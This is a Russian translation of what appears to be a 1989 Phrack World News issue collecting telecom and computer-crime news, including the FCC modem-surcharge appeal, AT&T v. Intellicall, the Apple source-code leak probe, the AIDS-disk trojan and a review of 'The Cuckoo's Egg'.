(Материал из дайджеста Apple на Usenet)

Новое постановление, над которым FCC тихо работает, напрямую затронет вас как пользователя компьютера и модема. FCC предлагает, чтобы пользователи модемов доплачивали за использование публичной телефонной сети, по которой передаются их данные.

Кроме того, компьютерные сетевые службы, такие как CompuServe, Tymnet и Telenet, также должны будут платить до 6,00 долларов в час за каждого пользователя за использование публичной телефонной сети. Скорее всего, эти расходы будут переложены на абонентов.

Деньги предполагается собирать и передавать телефонным компаниям в целях восполнения потерь, вызванных дерегулированием.

Джим Исон с радиостанции KGO (Сан-Франциско, Калифорния) прокомментировал это предложение в своей дневной программе, заявив, что узнал о новом законодательстве из статьи в New York Times. Джим позаботился о том, чтобы собрать адреса, которые приведены ниже.

Важно действовать прямо сейчас. Бюрократы уже убедили себя в том, что пользователи модемов должны субсидировать телефонные компании, и сейчас принимают общественные комментарии. Пожалуйста, выскажитесь и дайте понять, что мы не потерпим никаких государственных ограничений на свободный обмен информацией.

Адресаты для обращений:

```
Chairman of the FCC
1919 M Street N.W.
Washington, D.C. 20554

Chairman, Senate Communication Subcommittee
SH-227 Hart Building
Washington, D.C. 20510

Chairman, House Telecommunication Subcommittee
B-331 Rayburn Building
Washington, D.C. 20515
```

Образец письма:

Уважаемый господин,
Позвольте выразить своё недовольство предложением FCC, которое предусматривает дополнительный сбор за использование модемов в телефонной сети. Это постановление — не что иное, как попытка ограничить свободный обмен информацией среди растущего числа пользователей компьютеров. Звонки, осуществляемые с помощью модемов, не требуют никакого специального оборудования со стороны телефонных компаний, а пользователи модемов оплачивают использование сети в виде ежемесячного счёта. Иными словами, звонок через модем ничем не отличается от голосового звонка и, следовательно, не должен облагаться никакими дополнительными сборами.

FCC обязывает местные компании возместить средства дальней связи — 30 ноября 1989

По материалам Associated Press

ВАШИНГТОН — Местные телефонные компании могут быть обязаны вернуть до 75 миллионов долларов компаниям дальней связи и крупным частным клиентам, использующим выделенные линии, сообщает Федеральная комиссия по связи (FCC).

В числе 15 названных компаний — Pacific Northwest Bell в Айдахо. Местные телефонные компании накопили переплаты в период с 1985 по 1988 год в соответствии с руководящими принципами FCC, допускавшими, что цены на высокоёмкие частные линии могут превышать затраты компаний на предоставление этих услуг.

FCC распорядилась о возмещении средств, рассматривая апелляции к особой схеме ценообразования, которую местные телефонные компании применяли для операторов дальней связи или крупных корпоративных клиентов. Комиссия проголосовала четырьмя голосами «за» (при нулевом числе «против»), признав схему законной в период 1985–1988 годов, когда высокие цены были призваны удержать слишком большое число клиентов от перехода с обычной публичной сети на частные линии; однако рыночные условия больше не оправдывают продолжение особого ценообразования. Комиссия заявила, что ожидает от местных телефонных компаний отказа от запросов на подобные особые цены в будущем.

Изучая апелляции к особой схеме ценообразования, комиссия установила, что в ряде случаев местные телефонные компании взимали плату выше, чем предусмотрено её руководящими принципами. Поэтому компании обязаны вернуть соответствующие суммы, которые могут составить до 75 миллионов долларов. FCC сообщила, что точный размер возмещений станет известен лишь после того, как местные телефонные компании представят подробные отчёты. На подачу документов компаниям отведено 40 дней.

Компании, признанные не соблюдавшими ценовые нормативы комиссии в период с 1 октября 1985 по 31 декабря 1986 года:

• Diamond State
• South Central Bell (Алабама)
• Southwestern Bell (Миссури и Оклахома)
• Northwestern Bell (Айова, Миннесота, Небраска и Северная Дакота)
• Pacific Northwest Bell (Айдахо)

Pacific Northwest Bell ныне называется U.S. West Communications и является телефонной компанией, обслуживающей большинство жителей района Сиэтла.

Компании, признанные не соблюдавшими нормативы в период с 1 января 1987 по 31 декабря 1988 года:

• Ohio Bell
• Wisconsin Bell
• Southern Bell (Северная и Южная Каролина)
• South Central Bell (Миссисипи и Теннесси)
• Pacific Bell
• Nevada Bell
• Southwestern Bell
• Mountain Bell
• Northwestern Bell
• Cincinnati Bell

AT&T; против Intellicall: новый судебный иск — 8 ноября 1989

ДАЛЛАС — AT&T подала иск, обвинив техасскую корпорацию в оснащении своих таксофонов устройствами для незаконного получения расчётной информации, принадлежащей AT&T.

Иск требует 2 миллионов долларов штрафных убытков и неопределённой суммы фактического ущерба от Intellicall Inc. со штаб-квартирой в Кэрролтоне (Техас). Также от Федерального окружного суда Далласа требуется обязать Intellicall прекратить несанкционированное использование расчётной информации AT&T.

Предметом спора является механизм, с помощью которого таксофоны Intellicall проверяют правомерность номеров телефонных карт в целях выставления счетов. AT&T утверждает, что таксофоны Intellicall спроектированы и запрограммированы таким образом, что напрямую получают информацию из системы проверки карт AT&T.

Эта система, именуемая Billing Validation Application (BVA), является частью сетевых ресурсов AT&T. Прежде чем завершить соединение, плата за которое взимается с карты AT&T, её система верификации проверяет, является ли номер, указанный клиентом, действительным.

На основании договорных соглашений, заключённых до разделения системы Bell в 1984 году, региональные телефонные компании Bell также пользуются системой верификации. AT&T не разрешает конкурентам, таким как Intellicall, использовать систему, поскольку та была построена AT&T и содержит ценную конкурентную информацию.

AT&T утверждает, что когда абоненты пользуются картой AT&T или телефонной картой компании Bell в таксофоне Intellicall, аппарат автоматически совершает отдельный звонок через инфраструктуру AT&T или местной компании Bell на заранее запрограммированный номер, чтобы система верификации AT&T автоматически проверила номер карты.

Если номер карты является действительным, таксофон Intellicall пропускает исходный звонок клиента.

«В результате этих действий», — говорится в иске, — «Intellicall тайно и без разрешения получает данные верификации от AT&T, пользуется функцией защиты от мошенничества при обработке звонков клиентов, не вкладывая средств в создание соответствующей инфраструктуры и не оплачивая такие услуги, перекладывает расходы на AT&T и... получает несправедливое преимущество перед конкурентами, предоставляющими услуги таксофонов и/или дальней связи, включая AT&T».

Несмотря на то что AT&T не разрешает другим компаниям принимать карту AT&T и не допускает конкурентов к своей системе верификации, в иске отмечается, что Intellicall могла приобрести услуги верификации для телефонных карт компаний Bell у других поставщиков.

AT&T заявила, что уведомила Intellicall о нарушении собственнических прав AT&T и предоставила Intellicall все разумные возможности для прекращения мошеннической практики верификации. Только после того, как Intellicall продолжила применять нечестные методы, AT&T приняла решение обратиться в суд.

AT&T; против Intellicall: иск урегулирован — 13 ноября 1989

ДАЛЛАС — AT&T и Intellicall, Inc. объявили об урегулировании иска, поданного AT&T против Intellicall с требованием возмещения ущерба и судебного запрета. AT&T обвиняла Intellicall в несанкционированном доступе к системе верификации телефонных карт AT&T.

Мировое соглашение также охватило потенциальные встречные иски, которые Intellicall намеревалась предъявить к AT&T.

В рамках соглашения Intellicall признала собственнические права AT&T на систему Billing Validation Application и обязалась внести изменения в лицензированное программное обеспечение своих таксофонов для защиты от несанкционированного доступа к системе AT&T и её использования.

Условия соглашения предусматривают нераскрытую выплату со стороны Intellicall в пользу AT&T в счёт создания программы мониторинга, которая позволит AT&T отслеживать несанкционированный доступ к своим расчётным системам.

«AT&T довольна тем, что мировое соглашение, признающее исключительные права AT&T на систему верификации, было достигнуто так быстро», — заявил Джеральд Хайнс, директор AT&T Card Services.

Расследование в США по делу о краже у Apple 19 ноября 1989 г.

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN                                               PWN
PWN        P h r a c k   W o r l d   N e w s      PWN
PWN        ~~~~~~~~~~~   ~~~~~~~~~   ~~~~~~~      PWN
PWN                Issue XXX/Part 2               PWN
PWN                                               PWN
PWN          Created, Written, and Edited         PWN
PWN               by Knight Lightning             PWN
PWN                                               PWN
PWN         Special Thanks to Dark OverLord       PWN
PWN                                               PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Автор: Knight Lightning

Джон Маркофф (New York Times)

Бывший инженер Apple Computer Inc. заявил, что получил повестку от большого жюри, а агент ФБР сообщил ему, что тот является подозреваемым в краже программного обеспечения, которое компания использует для разработки компьютера Macintosh.

В июне группа, идентифицировавшая себя как Nu Prometheus League, разослала копии компьютерных дискет с этим программным обеспечением нескольким отраслевым изданиям и разработчикам программного обеспечения.

Грэди Уорд, 38 лет, работавший в Apple вплоть до января 1989 года, сообщил, что повестку ему вручил агент ФБР, представившийся Стивеном Э. Куком.

По словам Уорда, агент сказал ему, что он является одним из пяти подозреваемых, отобранных из компьютерного списка лиц, имевших доступ к этим материалам. Агент также сообщил, что эти пятеро считаются наиболее вероятными похитителями программного обеспечения.

Представитель ФБР в Сан-Франциско заявил, что ведомство не будет комментировать ход продолжающегося расследования.

Уорд сообщил, что сказал ФБР о своей невиновности, но готов содействовать расследованию.

Кража программного обеспечения Apple привлекла огромное внимание в Силиконовой долине, где дела о технологиях и коммерческих секретах наглядно показали ключевую роль квалифицированных технических специалистов и степень зависимости корпораций от их таланта.

Это дело выделяется тем, что кража, по всей видимости, была совершена из идейных соображений, а не ради личной выгоды.

Неизвестно, сколько копий программы было разослано группой Nu Prometheus.

Эксперты по программному обеспечению заявили, что программы могли бы пригодиться компании, пытающейся скопировать характерный внешний вид экрана Macintosh, однако это не решило бы правовых проблем, связанных с попыткой продать такой компьютер. Apple успешно пресекала попытки многих подражателей продавать копии своих компьютеров Apple II и Macintosh.

К дискетам прилагалось письмо, в котором, в частности, говорилось: «Наша цель в Apple — распространить всё то, что мешает другим производителям создавать легальные копии Macintosh. Как организация, Nu Prometheus League не имеет иных амбиций, кроме как сделать гений нескольких сотрудников Apple достоянием всего мира».

Группа заявила, что взяла своё название в честь греческого бога, похитившего огонь у богов и отдавшего его людям.

В письме говорилось, что эта акция отчасти стала ответом на находящийся на рассмотрении иск Apple против Microsoft Corp. и Hewlett-Packard Co., которых обвиняли в копировании «внешнего вида и ощущений» — экранного оформления — Macintosh.

Многие технологические эксперты в Силиконовой долине считают, что Apple не обладает исключительными правами на технологию Macintosh, поскольку большинство функций компьютера скопировано с разработок, изначально выполненных в Исследовательском центре Xerox Corp. в Пало-Альто в 1970-х годах. Macintosh был представлен лишь в 1984 году.

Кража стала достоянием общественности в июне, после того как торговое издание Macweek опубликовало письмо от Nu Prometheus.

Когда о краже стало известно, руководители Apple, базирующейся в Купертино, Калифорния, заявили, что относятся к инциденту серьёзно.

Пресс-секретарь компании сообщила, что Apple не будет комментировать детали расследования.

Уорд сказал, что агент ФБР сообщил ему: ведомство считает, что корпорация Toshiba получила копию программного обеспечения, а копии программы оказались в Советском Союзе.

Это программное обеспечение не ограничено к экспорту в страны коммунистического блока. Его основная ценность — коммерческая, как средство помощи в копировании технологии Apple.

Уорд сообщил, что агент ФБР отказался сообщить ему, каким образом, по мнению ведомства, Toshiba получила копию программного обеспечения.

Уорд также сказал, что агент ФБР сообщил ему о том, что некий программист вывез копию программного обеспечения в Советский Союз.

По словам Уорда, агент ФБР объяснил, что тот считается подозреваемым, поскольку является «компьютерным хакером», учился в либеральном колледже и некоторое время обучался в Лаборатории искусственного интеллекта Массачусетского технологического института.

Термин «хакер» впервые был использован в МТИ для описания молодых программистов и конструкторов аппаратного обеспечения, освоивших первые интерактивные компьютеры в 1960-х годах.

Уорд — второй человек, которого ФБР опросило в ходе расследования кражи.

Ранее Чарльз Фарнхэм, предприниматель из Сан-Хосе, Калифорния, сообщил, что к нему в офис пришли два агента ФБР, представившиеся репортёрами United Press International.

Фарнхэм, большой поклонник Macintosh, раскрывавший информацию о ещё не анонсированных продуктах Apple, рассказал, что после того, как они попросили его выйти из офиса, мужчины заявили, что являются агентами ФБР, и принялись расспрашивать его о группе Nu Prometheus. По его словам, ему не сообщали, что он является подозреваемым по этому делу.

UPI подала жалобу в ФБР в связи с этим инцидентом.

Уорд рассказал, что пришёл в Apple в 1979 году и покинул компанию в январе прошлого года, чтобы основать собственную компанию Illumind. Он продаёт компьютерные словари, используемые в качестве программ проверки орфографии и пособий по произношению.

По его словам, ФБР сообщило ему, что одним из получателей копии программного обеспечения Apple был Митчелл Капор, основатель Lotus Development Corporation.

Капор вернул свою копию диска нераспечатанной — так агент сообщил Уорду.

Уорд сказал, что ФБР также назвало его подозреваемым ещё и потому, что он основал группу для одарённых людей под названием Cincinnatus, которая, по словам агента, имела корни в греческой мифологии, схожие с группой Nu Prometheus.

Уорд возразил, что ФБР ошибается: Cincinnatus — отсылка к древнеримской истории, а не к греческой мифологии.

Диск, уничтожающий данные, разослан европейским пользователям компьютеров 13 декабря 1989 г.

Джон Маркофф (New York Times)

Компьютерный диск с деструктивной программой, известной как «троянский конь», был разослан пользователям компьютеров как минимум в четырёх европейских странах.

Неизвестно, были ли копии программы разосланы жителям Соединённых Штатов.

Программа угрожает уничтожить данные, если пользователь не заплатит лицензионный сбор вымышленной компании в Панама-Сити, Панама. По мнению нескольких экспертов по компьютерной безопасности, изучивших программу во вторник 12 декабря, она может представлять собой широкомасштабную попытку вывести из строя тысячи персональных компьютеров.

Ряд экспертов заявили, что диск был разослан компанией «PC Cyborg» подписчикам изданий о персональных компьютерах — по всей видимости, с использованием списков рассылки.

По словам экспертов, диск упакован профессионально и сопровождается брошюрой, которая представляет его как «Информационный диск об СПИДе». Однако после установки на компьютер пользователя он изменяет ряд файлов и скрывает секретные программы, которые впоследствии уничтожают данные на компьютерном диске.

Пол Холбрук, представитель Группы реагирования на компьютерные чрезвычайные ситуации (CERT) — финансируемой правительством США организации по безопасности в Питтсбурге — сообщил, что его группа подтвердила существование программы, однако не знает, насколько широко она распространилась.

«Троянские кони» — это программы, скрытые внутри программного обеспечения, которые тайно внедряются в компьютер при запуске маскирующего их приложения. Они отличаются от других скрытых программ — вирусов и червей — тем, что не являются заразными: они не копируют себя автоматически.

Лицензионное соглашение, прилагаемое к диску, содержит угрозы.

В нём, в частности, говорится: «В случае нарушения вами настоящей лицензии PC Cyborg оставляет за собой право предпринять любые юридические действия, необходимые для взыскания задолженности перед PC Cyborg Corporation, а также использовать программные механизмы для принудительного прекращения использования вами данных программ. Эти механизмы нанесут ущерб другим программам на вашем микрокомпьютере».

При уничтожении данных программа выводит на экран сообщение с просьбой отправить $387 на адрес в Панама-Сити.

Джон Макафи, консультант по компьютерной безопасности из Санта-Клары, Калифорния, сообщил, что программа была разослана жителям Англии, Западной Германии, Франции и Италии.

Компьютер для руководителя: от шпионажа до использования принтера 27 октября 1989 г.

Питер Х. Льюис (New York Times)

Те руководители, которые вообще уделяют внимание компьютерам, скорее склонны беспокоиться о глобальных проблемах — например, о производительности — или о мелочах вроде того, как заставить личный принтер правильно печатать на конвертах, нежели о том, не проникло ли КГБ в их компании. В новой партии книг они найдут уроки обо всём этом.

Пожалуй, самая занимательная из новых книг — «Яйцо кукушки» ($19,95, Doubleday) доктора Клиффорда Столла, астронома.

Поскольку он был новичком в Национальной лаборатории Лоуренса в Беркли, Калифорния, ему поручили отыскать и устранить сбой в бухгалтерском программном обеспечении лаборатории, которое обнаружило расхождение в 75 центов при попытке свести баланс.

«Кража в первой степени, да?» — такова была первая реакция Столла. Но когда почти год спустя он завершил расследование, то раскрыл западногерманскую шпионскую сеть, которая взломала защиту американских военных и исследовательских компьютерных сетей и продавала добытую информацию Москве.

Помимо увлекательности этой охоты по принципу «кошки-мышки», книга содержит уроки для любого корпоративного пользователя компьютеров. Послание недвусмысленно: большинство компаний безответственно относятся к безопасности.

Лёгкость, с которой «хакер» проникал даже в военные объекты, была поразительной, но не столь поразительной, как равнодушие многих жертв.

«Яйцо кукушки» следует за охотой на неизвестного злоумышленника, который крадёт, ничего не забирая физически, и угрожает жизням, не прикасаясь ни к кому, — пользуясь лишь клавиатурой компьютера и телефонной сетью.

Детектив — эксцентрик, который спит под рабочим столом, предпочитает велосипед автомобилю и неожиданно для себя оказывается в одной команде с Федеральным бюро расследований, Центральным разведывательным управлением и Агентством национальной безопасности.

Хотя преступник и охотник действуют в эзотерическом мире компьютерного кода и шифрования данных, Столл делает технологии понятными.

Он также обнаруживает, что навигация по глобальной электронной сети куда проще, чем навигация в бюрократических лабиринтах различных государственных ведомств.

И пока он виртуозно прослеживал электронные следы кукушки — от Беркли до Окинавы и Ганновера в Западной Германии, — Столл признаётся, что совершенно теряется на улицах и шоссе и не может разобраться с такими бытовыми приборами, как микроволновая печь.

Среди более чем 30 академических, военных и частных правительственных учреждений, ставших лёгкой добычей шпионов, жертвами оказались также Unisys, TRW, SRI International, Mitre Corporation и Bolt Beranek & Newman Inc. — некоторые из тех самых компаний, которые разрабатывают, строят и тестируют компьютерные системы для правительства.

«Вне всяких сомнений, дети сапожника бегают босиком», — пишет Столл.

Одним из ключевых персонажей книги является доктор Боб Моррис, главный учёный Агентства национальной безопасности и создатель системы безопасности операционной системы Unix.

В эпилоге книги, посвящённом не связанному с основной темой компьютерному преступлению, рассказывается об обнаружении того, что именно сын Морриса написал программу-мошенника,

которая на несколько дней парализовала национальную сеть в прошлом году.

В книге «Путь Macintosh» ($19,95, Scott, Foresman & Co.) Гай Кавасаки, бывший руководитель Apple Computer Inc., ныне возглавляющий программную компанию, написал откровенное руководство по менеджменту в высокотехнологичных компаниях.

Хотя книга предназначена для тех, кто создаёт и продвигает компьютерные продукты, она может оказаться полезной для любого, кто управляет бизнесом.

Исчезновение телефонных кодов в США 13 ноября 1989 г.

Лора О'Брайен (Telephony Magazine)

Нынешний «исчезающий вид», о котором говорят новости, может оказаться вовсе не животным. Количество доступных телефонных кодов в Соединённых Штатах стремительно сокращается. Чикаго поглотил новый код 11 ноября 1989 года, а Нью-Джерси израсходует ещё один 1 января 1990 года.

Осталось лишь девять кодов, и, по прогнозам, они будут исчерпаны к 1995 году, сообщил Роберт Макэлесс, администратор Североамериканского плана нумерации и сотрудник технического персонала Bellcore.

«В 1947 году Bellcore располагала 86 кодами, и прогнозировалось, что они будут исчерпаны через 100–150 лет. Прогноз немного не совпал с реальностью», — сказал Макэлесс.

Когда все 152 доступных кода будут исчерпаны, Bellcore применит новый план создания кодов.

Уже назначено в общей сложности 138 кодов. Пять из оставшихся 14 кодов зарезервированы для кодов доступа к сервисам, а 9 — для географических кодов.

Согласно действующему плану, вторая цифра — 0 или 1, тогда как первая и последняя цифры могут быть от 2 до 9. По новому плану первая цифра будет от 2 до 9, а две последующие — от 0 до 9, пояснил Макэлесс.

По его словам, новый план создаст 640 потенциальных кодов зон. Bellcore не прогнозирует, когда новые коды будут исчерпаны.

«Рост числа новых услуг и увеличение количества телефонов исчерпывают коды. Наибольший рост приходится на сотовые телефоны, пейджеры, факсимильные аппараты и новые услуги, которым может быть присвоено более одного номера», — сказал Макэлесс.

В число нераспределённых кодов в настоящее время входят 210, 310, 410, 706, 810, 905, 909, 910 и 917. Чикагский регион получил код 708, а Нью-Джерси получит 908.

В Чикагском столичном районе пригороды были переключены с кода 312 на новый код 708. Жители и предприятия в черте города сохранили код 312.

Illinois Bell начала готовиться к переходу два года назад, рассылая уведомления бизнес-клиентам с просьбой изменить бланки и визитки, рассказала Глория Поуп, пресс-секретарь Illinois Bell. Теперь компания нацелена на жилой сектор с помощью напоминаний на рекламных щитах и вкладышей в счета.

Ожидается, что технические затраты на подготовку к введению нового кода, включая оплату труда, достигнут $15 миллионов. Однако Поуп уточнила, что в эту сумму не входят расходы на рассылки, связи с общественностью и бизнес-пакеты, призванные сгладить переход. Компания покроет расходы из бюджетных средств, повышение тарифов не планируется, сообщила она.

Модификация сети для распознавания нового кода началась примерно шесть месяцев назад с работ по трансляции. Каждая центральная станция в Чикагском столичном районе была адаптирована с помощью нового транслятора для приёма нового кода и правильной маршрутизации звонков, рассказала Одри Брукс, районный менеджер по чикагским трансляциям.

Операторы дальней связи были готовы к запуску кода. AT&T, US Sprint и MCI изменили свои компьютерные системы для распознавания нового кода до чикагского дедлайна.

«Мы ожидаем достаточно плавного перехода», — сказала Карен Рэйл, пресс-секретарь U.S. Sprint.

По словам технического специалиста AT&T Крейга Хупмана, предприятиям потребуется скорректировать программное обеспечение своих АТС. «Это может затронуть практически каждую АТС по всей стране», — отметил он. Современные АТС потребуют около 15 минут на перенастройку, тогда как более старые коммутаторы могут потребовать четырёх часов. Во многих случаях клиенты смогут произвести изменения самостоятельно, добавил он.

Новое покрытие против пиратов микросхем 7 ноября 1989 г.

Джон Маркофф (New York Times)

Несколько лет назад смекалистые высокотехнологичные пираты извлекли чип из устройства дескремблирования спутникового телевидения производства General Instrument Corporation, электронным способом выкачали из него скрытое программное обеспечение для расшифровки и изучили его, чтобы найти способ принимать чистый телесигнал.

Когда компания попыталась защитить чипы, покрыв их эпоксидной смолой, пираты просто разработали растворитель для удаления защитного слоя и снова похитили программное обеспечение.

Теперь правительственные исследователи из Национальной лаборатории Лоуренса Ливермора, центра исследований в области вооружений и энергетики в Ливерморе, Калифорния, разработали специальное покрытие, защищающее чип от попыток извлечь как конструкцию микросхемы, так и содержащуюся в ней информацию. В полупроводниковой промышленности конструкцию конкурирующего чипа можно скопировать с помощью процесса, называемого обратной разработкой, — например, установив конструкцию под электронным микроскопом или растворяя последовательные слои чипа с помощью растворителя.

Ряд государственных военных и разведывательных ведомств уже использует покрытие для защиты схем, содержащих секретную информацию. Правительство сертифицировало 13 американских производителей чипов для нанесения покрытия на микросхемы, используемые определёнными государственными ведомствами.

Разработка Ливерморской лаборатории, известная как Проект «Знаток» (Connoisseur Project), представляет собой смолу консистенции примерно как арахисовое масло, которая впрыскивается в полость вокруг чипа после его производства. Покрытие нагревается и отверждается; затем чип запечатывается защитной крышкой.

Специальная защитная смола непрозрачна и устойчива к растворителям, высокой температуре, шлифовке и другим методам обратной разработки.

Разрабатывается покрытие второго поколения, которое будет автоматически уничтожать чип при попытке химически пробиться через защитный слой.

Ещё один проект в лаборатории изучает ещё более передовые методы защиты, предусматривающие вставку сверхтонких экранов между слоями чипа, что существенно затруднит

его проникновение.

Американская фирма получила венгерский контракт на телефонию 5 декабря 1989 г.

Из St. Louis Post-Dispatch (через New York Times News Service)

U.S. West Inc., одна из семи региональных телефонных компаний Bell, объявила, что подписала соглашение с Венгрией о строительстве сети сотовой мобильной связи в Будапеште.

Венгерская сотовая сеть станет первой подобной телефонной сетью в Восточной Европе.

Ввиду нехватки телефонов в стране венгры, как ожидается, будут использовать сотовые телефоны для обеспечения базовой домашней связи, а также в качестве мобильной связи.

Для Венгрии и других восточноевропейских стран с устаревшими телефонными системами развернуть телефонный сервис через сотовые сети будет быстрее и дешевле, нежели восстанавливать всю телефонную инфраструктуру страны.

Сеть сотовых телефонов передаёт звонки по радиоволнам на небольшие принимающие антенны, называемые «сотовыми» точками, которые ретранслируют звонки в местные телефонные системы. Система, которую планируется построить в Венгрии, будет передавать звонки с сотового телефона на сотовый, а также через существующую наземную телефонную сеть.

Система, которая должна начать работу в первом квартале 1991 года, первоначально обеспечит сотовую связь для 2,1 миллиона жителей Будапешта. В конечном итоге система охватит всю Венгрию с населением 10,6 миллиона человек.

По данным статистического сборника The World's Telephones, подготовленного AT&T, в Венгрии приходится 6,8 телефонной линии на каждые 100 человек. Для сравнения: в США — 48,1 линии на каждые 100 человек.

Краткие новости

1. Телефонные шалости (ноябрь/декабрь) — Несколько студентов Колумбийского университета в Нью-Йорке придали новый поворот извечному раздражению — цепным письмам. Студенты воспользовались возможностями новой телефонной системы IBM/Rolm стоимостью $15 миллионов, установленной в университете: она не только хранит сообщения, как автоответчик, но и позволяет принимать, записывать и пересылать сообщения — с комментариями — третьим лицам.

Прошлой весной братья Анил и Аджай Дубей, оба старшекурсники, записали пародию на хит рэпера Tone Loc «Funky Cold Medina» и разослали её нескольким приятелям. Те переслали запись с комментариями другим друзьям, те — следующим... и так далее, и так далее. В итоге сообщение превысило десять минут и оказалось настолько популярным, что система голосовой почты перегрузилась и была вынуждена отключиться.

2. Получите карту Sprint VISA уже сегодня (14 ноября 1989 г.) — U.S. Sprint начнёт рассылку в декабре карты Sprint VISA, которая объединит функции карты дальней связи, кредитной карты и карты банкомата. Sprint будет продвигать карту, которую выпустит State Street Bank and Trust в Бостоне.

Бизнес-путешественники будут получать единый счёт, в котором перечислены все расходы, связанные с поездками: гостиница, питание и телефонные переговоры. Оплата телефонных расходов будет осуществляться через стандартный счёт Visa, тогда как детализация звонков будет отображаться в стандартном счёте Sprint FONcard. Материал взят из Communications Week.

3. Форум Harpers — Журнал Harpers Magazine придумал способ собрать информацию о сообществе фрикеров/хакеров с модемами. Они обосновались в The Well (публичный Unix-сервер и доска объявлений) и пригласили всех желающих хакеров присоединиться к многочисленным тематическим дискуссиям.

В числе участвовавших хакеров были: Acid Phreak, Bernie S., Cap'n Crunch, Cheshire Catalyst, Emmanuel Goldstein, Knight Lightning, Michael Synergy (из Reality Hackers Magazine), Phiber Optik, Piper, Sir Francis Drake, Taran King и многие старые подписчики TAP.

The Well доступен через сеть передачи данных CompuServe. Все расходы хакеров на использование The Well взял на себя Harpers.

На The Well было немало людей, выдававших себя за хакеров, чтобы участвовать в дискуссии, однако выяснилось, что некоторые из них — например, Adel Aide — оказались продавцами обуви. Присутствовало также несколько специалистов по безопасности, в том числе Клиффорд Столл (автор «Яйца кукушки»), и пара репортёров — в частности, Кэти Хафнер (активно пишущая для Business Week).

Содержание дискуссии и все связанные материалы будут использованы в статье в одном из ближайших номеров Harpers Magazine.

4. Phrozen Ghost предположительно арестован по обвинениям, связанным с хакерством, мошенничеством в сфере телекоммуникаций и наркотиками. Других подробностей на данный момент не известно. Информация предоставлена в PWN участником Captain Crook.

5. SurveillanceCon '89 — Tuc, Susan Thunder и Prime Suspect приняли участие в конференции по безопасности и слежке в Вашингтоне, округ Колумбия, на которой и Tuc, и Susan Thunder выступили с докладами о компьютерной безопасности. Доклад Tuc был в значительной степени посвящён досках объявлений — таким как Ripco в Чикаго — и информационным бюллетеням, подобным Phrack Inc. Аудиокассеты со всеми выступлениями доступны за $9,00 каждая, однако у нас в PWN нет информации о том, к кому обращаться для приобретения этих записей.